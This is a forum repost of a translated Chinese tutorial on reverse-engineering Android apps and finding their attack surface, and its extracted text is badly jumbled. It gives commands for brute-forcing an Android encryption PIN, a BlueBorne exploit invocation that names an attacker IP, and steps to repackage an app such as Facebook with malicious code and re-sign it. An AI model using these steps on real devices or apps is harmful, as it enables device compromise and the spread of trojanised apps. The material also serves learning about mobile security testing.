搜索

[13802] 2019-02-26_测试Android应用程序的逆向方法和寻找攻击面的技巧

文档创建者：s7ckTeam
浏览次数：51
最后更新：2025-01-18
2019-02-26_测试Android应用程序的逆向方法和寻找攻击面的技巧 测 试 A n d r o i d 应 用 程 序 的 逆 向 方 法 和 寻 找 攻 击 面 的 技 巧 s e c i s t   F r e e B u f   2 0 1 9 - 0 2 - 2 6 背 景 背 景 在 过 去 的 这 个 学 期 里 ， 我 报 名 参 加 了 一 个 网 络 安 全 的 课 程 。 在 期 末 考 时 我 们 的 教 授 允 许 我 们 自 己 选 择 测 试 项 目 在 过 去 的 这 个 学 期 里 ， 我 报 名 参 加 了 一 个 网 络 安 全 的 课 程 。 在 期 末 考 时 我 们 的 教 授 允 许 我 们 自 己 选 择 测 试 项 目 来 完 成 ， 并 作 为 期 末 考 的 成 绩 而 无 需 再 参 加 期 末 笔 试 。 我 立 马 抓 住 了 这 个 机 会 （ 呵 呵 ， 谁 想 参 加 期 末 考 来 完 成 ， 并 作 为 期 末 考 的 成 绩 而 无 需 再 参 加 期 末 笔 试 。 我 立 马 抓 住 了 这 个 机 会 （ 呵 呵 ， 谁 想 参 加 期 末 考 呢 ？ ） ， 我 希 望 通 过 实 践 来 了 解 更 多 关 于 移 动 安 全 方 面 的 内 容 。 呢 ？ ） ， 我 希 望 通 过 实 践 来 了 解 更 多 关 于 移 动 安 全 方 面 的 内 容 。 在 研 究 和 阅 读 了 相 关 的 技 术 文 档 后 ， 我 决 定 自 己 写 一 篇 教 程 。 这 是 我 人 生 中 的 第 一 篇 与 移 动 相 关 的 教 程 文 章 ， 因 此 它 可 能 并 不 全 面 。 但 我 相 信 分 享 即 是 关 怀 ， 所 以 如 果 你 有 任 何 的 意 见 或 建 议 ， 可 以 随 时 与 我 取 得 联 系 。 A n d r o i d   架 构 架 构 在 A n d r o i d 架 构 中 有 5 个 层 ： 应 用 程 序 ， 应 用 程 序 框 架 ， 库 ， 运 行 时 环 境 和 L i n u x 内 核 层 。 应 用 程 序 层 包 含 由 用 户 安 装 的 本 机 应 用 和 第 三 方 应 用 。 应 用 程 序 框 架 层 提 供 管 理 和 控 制 应 用 程 序 层 的 服 务 ， 包 括 4 个 组 件 ： 活 动 ， 内 容 ， 服 务 ， 通 知 和 广 播 。 库 层 控 制 和 访 问 应 用 程 序 数 据 。 运 行 时 包 括 D a l v i k   V M ， 所 有 j a v a 文 件 都 以 D a l v i k 格 式 （ d e x ） 进 行 转 换 ， 以 在 运 行 之 前 进 行 优 化 。 内 核 层 控 制 核 心 服 务 ， 如 电 源 控 制 ， 安 全 性 ， 硬 件 ， 内 存 管 理 等 。 工 具 工 具 我 们 先 来 下 载 S a n t o k u 。 这 是 一 个 非 常 棒 的 开 源 虚 拟 机 ， 专 用 于 移 动 取 证 ， 分 析 和 安 全 性 。 其 中 包 含 了 我 使 用 的 所 有 工 具 。 V M :   S a n t o k u   （ h t t p s : / / s a n t o k u - l i n u x . c o m / d o w n l o a d / ） 准 备 准 备 在 开 始 之 前 ， 你 需 要 将 手 机 置 于 开 发 者 模 式 ， 并 打 开 U S B 调 试 。 设 置 步 骤 如 下 ： 设 置   - >   关 于 手 机   - >   版 本 号   - >   连 击 7 次   - >   开 发 者 设 置 模 式 打 开   - >   转 到 U S B 调 试   - >   启 用 现 在 你 可 以 将 手 机 连 接 到 计 算 机 ， 并 检 查 是 否 成 功 ： 一 旦 成 功 连 接 ， 你 应 该 能 够 通 过 以 上 命 令 列 出 该 设 备 。 注 意 设 备 I D ， 你 可 以 使 用 该 I D 来 打 开 s h e l l 。 接 下 来 ， 打 开 一 个 s h e l l ： a d b   d e v i c e s   - l a d b   - s   c e 2 0 c 6 e 4   s h e l l
现 在 ， 你 就 可 以 像 在 L i n u x 环 境 中 一 样 ， 例 如 列 出 所 有 文 件 及 其 权 限 ： 这 里 有 一 篇 关 于 爆 破 安 卓 P I N   码 的 文 章 ： h t t p s : / / s a n t o k u - l i n u x . c o m / h o w t o / m o b i l e - f o r e n s i c s / h o w - t o - b r u t e - f o r c e - a n d r o i d - e n c r y p t i o n / H e a d e r F o o t e r 爆 破 爆 破   P I N ： ： $   a d b   s h e l l   d d   i f = / d e v / b l o c k / m m c b l k 0 p 2   o f = t m p _ h e a d e r   b s = 5 1 2   c o u n t = 1 $   a d b   p u l l   t m p _ h e a d e r   ~ / D e s k t o p / t m p _ h e a d e r $   a d b   s h e l l   m k d i r   / e f s $   a d b   s h e l l   m o u n t   - t   y a f f s 2   / d e v / b l o c k / m t d b l o c k 6   / e f s $   a d b   p u l l   / e f s / u s e r d a t a _ f o o t e r   ~ / D e s k t o p / t m p _ f o o t e r
另 一 件 非 常 有 趣 的 事 是 启 动 t c p d u m p 来 收 集 一 些 数 据 包 ， 并 使 用 W i r e s h a r k 来 读 取 流 量 ： 移 动 取 证 移 动 取 证 接 下 来 ， 我 将 用 到 一 个 在 移 动 取 证 方 面 非 常 棒 的 工 具 A F L o g i c a l   O S E 。 如 果 你 想 要 提 取 出 所 有 的 文 件 ， 例 如 呼 叫 日 志 ， m m s ， 短 信 ， 图 片 ， 手 机 上 安 装 的 应 用 程 序 ， 其 版 本 … … 等 ， 这 个 工 具 将 能 帮 到 你 。 导 航 到 取 证 文 件 夹 可 以 看 到 ， 提 取 的 文 件 分 别 被 放 置 在 以 日 期 命 名 的 不 同 文 件 夹 当 中 ： 注 意 ： 注 意 ： 这 是 我 测 试 的 A n d r o i d 手 机 ， 我 只 在 D e f c o n 期 间 使 用 … 因 此 只 有 3 个 日 期 的 数 据 。 单 击 相 应 的 文 件 夹 后 你 可 以 看 到 如 下 内 容 ： $   b r u t e f o r c e _ s t d c r y p t o   ~ / D e s k t o p / t / t m p _ h e a d e r   ~ / D e s k t o p / t / t m p _ f o o t e r a d b   s h e l l   “ t c p d u m p   - s   0   - w — |   n c   - l   - p   4 4 4 4 ” a d b   f o r w a r d   t c p : 4 4 4 4   t c p : 4 4 4 4 n c   l o c a l h o s t   4 4 4 4   |   s u d o   w i r e s h a r k   - k   - S   - i
我 们 双 击 打 开 一 个 c s v 文 件 内 容 如 下 ： 以 及 打 开 i n f o . x m l 文 件 ， 如 下 所 示 ： 有 趣 的 还 在 后 头 ： 使 用 B l u e b o r n e 解 决 手 机 的 蓝 牙 问 题 （ 详 情 请 参 阅 ： h t t p s : / / a r m i s . c o m / b l u e b o r n e / ） 要 运 行 漏 洞 利 用 程 序 ， 此 存 储 库 的 根 目 录 必 须 位 于 P Y T H O N P A T H 中 。 $   s u d o   a p t - g e t   i n s t a l l   l i b b l u e t o o t h - d e v $ s u d o   p i p 2   i n s t a l l   p y b l u e z   p w n   s c a p y
逆 向 一 个 逆 向 一 个   A P K 在 A n d r o i d 手 机 上 对 应 用 进 行 逆 向 实 际 上 非 常 的 容 易 。 所 需 的 工 具 及 步 骤 如 下 ： 工 具 工 具 U S B   D e b u g g e r D e x 2 j a r J D - G u i 步 骤 步 骤 从 手 机 中 提 取 的 i n f o . x m l 列 表 中 下 载 应 用 程 序 将 应 用 程 序 反 编 译 为 . j a v a 文 件 插 入 恶 意 代 码 并 确 保 它 可 以 运 行 签 名 最 终 的 a p k 文 件 在 用 户 手 机 上 安 装 a p k 文 件   -   替 换 原 始 应 用 程 序 A P K 是 一 个 压 缩 包 ， 包 含 开 发 人 员 编 译 的 证 书 ， 文 件 ， 清 单 ， 资 源 和 d e x 代 码 。 要 获 取 应 用 程 序 的 a p k ， 你 只 需 简 单 的 网 络 搜 索 即 可 。 示 例 下 载 ： F a c e b o o k （ 5 7 . 2 m b ） ， S k y p e （ ~ 3 0 . 7 m b ） 和 T w i t t e r （ 2 9 . 8 m b ） 。 这 里 我 将 以 F a c e b o o k   a p k 文 件 为 例 。 首 先 ， 使 用 d e x 2 j a r 来 提 取 a p k 。 之 后 ， 该 工 具 会 将 所 有 新 的 . d e x   a p k 转 换 后 的 文 件 保 存 到 . j a r 文 件 中 。 文 件 夹 中 的 内 容 如 下 ： $   e x p o r t   P Y T H O N P A T H = $ P Y T H O N P A T H : < r e p o - p a t h > $   s u d o   p y t h o n 2   d o i t . p y   h c i 0   < t a r g e t - b d a d d r >   < a t t a c k e r - i p >
要 查 看 j a r 文 件 的 源 码 ， 需 要 用 到 一 个 名 为 J D - G U I 的 工 具 。 J D - G U I 是 一 个 J a v a 反 编 译 工 具 。 现 在 ， 我 们 可 以 看 到 来 自 F a c e b o o k 的 所 有 声 明 的 函 数 和 源 码 。 此 时 ， 所 有 文 件 都 是 可 读 和 可 修 改 的 ： 对 于 那 些 想 要 尝 试 将 一 些 代 码 添 加 到 应 用 程 序 并 重 新 打 包 的 人 ， 以 下 是 一 个 很 好 的 例 子 ： O p e n 打 开   -   修 改 现 有 的 s m a l i 文 件 并 创 建 恶 意 代 码 放 到 s m a l i / c o m 文 件 夹 中 。 然 后 使 用 a p k t o o l 重 新 打 包 b   - f   [ a p p 之 前 的 名 称 ] （   -   f 覆 盖 现 有 文 件 ） 创 建 一 个 用 于 签 名 创 建 一 个 用 于 签 名   a p k   文 件 的 密 钥 ： 文 件 的 密 钥 ： 签 名 签 名   a p k   文 件 ： 文 件 ： $   a d b   c o n n e c t   1 0 . 0 . 2 . 5 $   a d b   p u l l   / s y s t e m / f r a m e w o r k / f r a m e w o r k - r e s . a p k   $   a p k t o o l   i f   f r a m e w o r k - r e s . a p k $   a p k t o o l   d   - r   你 新 的 a p p 名 称 . a p k   #   安 装 你 的 a p p k e y t o o l   - a l i a s   a m   - g e n k e y   - v   - k e y s t o r e   m y - r e l e a s e - k e y . k e y s t o r e - k e y a l g   R S A   - k e y s i z e   2 0 4 8   - v a l i d i t y   1 0 0 0 0 $   j a r s i g n e r   - v e r b o s e   - s i g a l g   S H A 1 w i t h R S A   - d i g e s t a l g   S H A 1 - k e y s t o r e   m y - r e l e a s e k e y . k e y s t o r e   [ y o u r - o l d - a p p - n a m e ] . a p k   [ $   j a r s i g n e r   - k e y s t o r e   d e b u g . k e y s t o r e   - s i g a l g   S H A 1 w i t h R S A   t e s t . a p k   a n d r o i d d e b u g k e y $   j a r s i g n e r   - k e y s t o r e   d e b u g . k e y s t o r e   - v e r i f y   - v e r b o s e   - c e r t s   t e s t . a p k ]
安 装 新 a p k 文 件 ： 漏 洞 查 找 漏 洞 查 找 接 下 来 ， 最 后 我 们 将 用 到 一 个 名 为 D r o z e r 的 工 具 （ h t t p s : / / g i t h u b . c o m / m w r l a b s / d r o z e r ） 。 D r o z e r   简 介 简 介 D r o z e r 是 M W R   L a b s 开 发 的 一 款 A n d r o i d 安 全 测 试 框 架 ， 是 目 前 最 好 的 A n d r o i d 安 全 测 试 工 具 之 一 。 它 允 许 你 以 一 个 普 通 a n d r o i d 应 用 的 身 份 与 其 他 应 用 和 操 作 系 统 交 互 。 在 W e b 世 界 已 经 有 了 许 多 安 全 测 试 工 具 了 , 我 们 只 需 要 给 出 一 个 目 标 ， 这 些 工 具 就 会 自 动 为 我 们 安 全 测 试 报 告 。 但 D r o z e r 与 这 样 的 自 动 化 扫 描 器 不 同 ， D r o z e r 是 一 种 交 互 式 的 安 全 测 试 工 具 。 使 用 D r o z e r 进 行 安 全 测 试 ， 用 户 在 自 己 的 工 作 站 上 输 入 命 令 ， D r o z e r 会 将 命 令 发 送 到 A n d r o i d 设 备 上 的 代 理 程 序 执 行 。 D r o z e r   安 装 安 装 接 下 来 ， 由 于 D r o z e r 默 认 运 行 在 3 1 4 1 5 端 口 上 ， 我 们 可 以 将 当 前 的 a d b 端 口 转 发 到 默 认 的 D r o z e r 端 口 。 成 功 连 接 后 应 该 会 显 示 一 个 小 的 A n d r o i d 图 标 和 运 行 界 面 在 你 的 手 机 上 。 一 些 你 可 能 会 用 到 的 D r o z e r 命 令 ： l i s t ， s h e l l ， c l e a n ， l o a d ， m o d u l e ， u n s e t ， s e t ， s h e l l ， r u n   M O D U L E 。 例 如 ， 检 索 所 有 包 列 表 的 信 息 ： 确 定 一 个 攻 击 面 （ 用 你 的 应 用 程 序 名 替 换 ） ： 最 后 ， 我 为 大 家 找 了 一 些 有 关 使 用 D r o z e r 进 行 a p p 渗 透 测 试 的 技 术 文 章 。 如 果 你 对 此 感 兴 趣 ， 建 议 你 花 些 时 间 来 阅 读 它 们 。 h t t p s : / / g i t h u b . c o m / t a n p r a t h a n / M o b i l e A p p - P e n t e s t - C h e a t s h e e t h t t p s : / / w w w . t u t o r i a l s p o i n t . c o m / a n d r o i d _ p e n e t r a t i o n _ t e s t i n g / a n d r o i d _ p e n e t r a t i o n _ t e s t i n g _ o v e r v i e w . a s p h t t p s : / / l e a r n . t e c h b e a c o n . c o m / u n i t s / h o w - g e t - s t a r t e d - m o b i l e - p e n e t r a t i o n - t e s t i n g - a n d r o i d h t t p s : / / w w w . o w a s p . o r g / i n d e x . p h p / O W A S P _ M o b i l e _ S e c u r i t y _ T e s t i n g _ G u i d e h t t p s : / / g o . a r m i s . c o m / h u b f s / B l u e B o r n e % 2 0 - % 2 0 A n d r o i d % 2 0 E x p l o i t % 2 0 ( 2 0 1 7 1 1 3 0 ) . p d f ? t = 1 5 4 1 1 0 4 0 4 9 6 5 4 . p d f ? t = 1 5 4 1 1 0 4 0 4 9 6 5 4 ) h t t p s : / / l a b s . m w r i n f o s e c u r i t y . c o m / a s s e t s / B l o g F i l e s / m w r i - d r o z e r - u s e r - g u i d e - 2 0 1 5 - 0 3 - 2 3 . p d f h t t p s : / / r e s o u r c e s . i n f o s e c i n s t i t u t e . c o m / a n d r o i d - p e n e t r a t i o n - t o o l s - w a l k t h r o u g h - s e r i e s - d r o z e r / # g r e f * 参 考 来 源 ： u s e j o u r n a l ， F B 小 编 s e c i s t 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M $   a d b   i n s t a l l   [ 你 的 a p p 名 称 ] . a p k $   a d b   i n s t a l l   d r o z e r - a g e n t . a p k $   a d b   f o r w a r d   t c p : 3 1 4 1 5   t c p : 3 1 4 1 5 S t a r t   a   d r o z e r   s e s s i o n   o v e r   d e f a u l t   p o r t   3 1 4 1 5 : $   d r o z e r   c o n s o l e   c o n n e c t d z >   r u n   a p p . p a c k a g e . l i s t d z >   r u n   a p p . p a c k a g e . a t t a c k s u r f a c e   s i e 5 7 1 . s i e 5 7 1
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理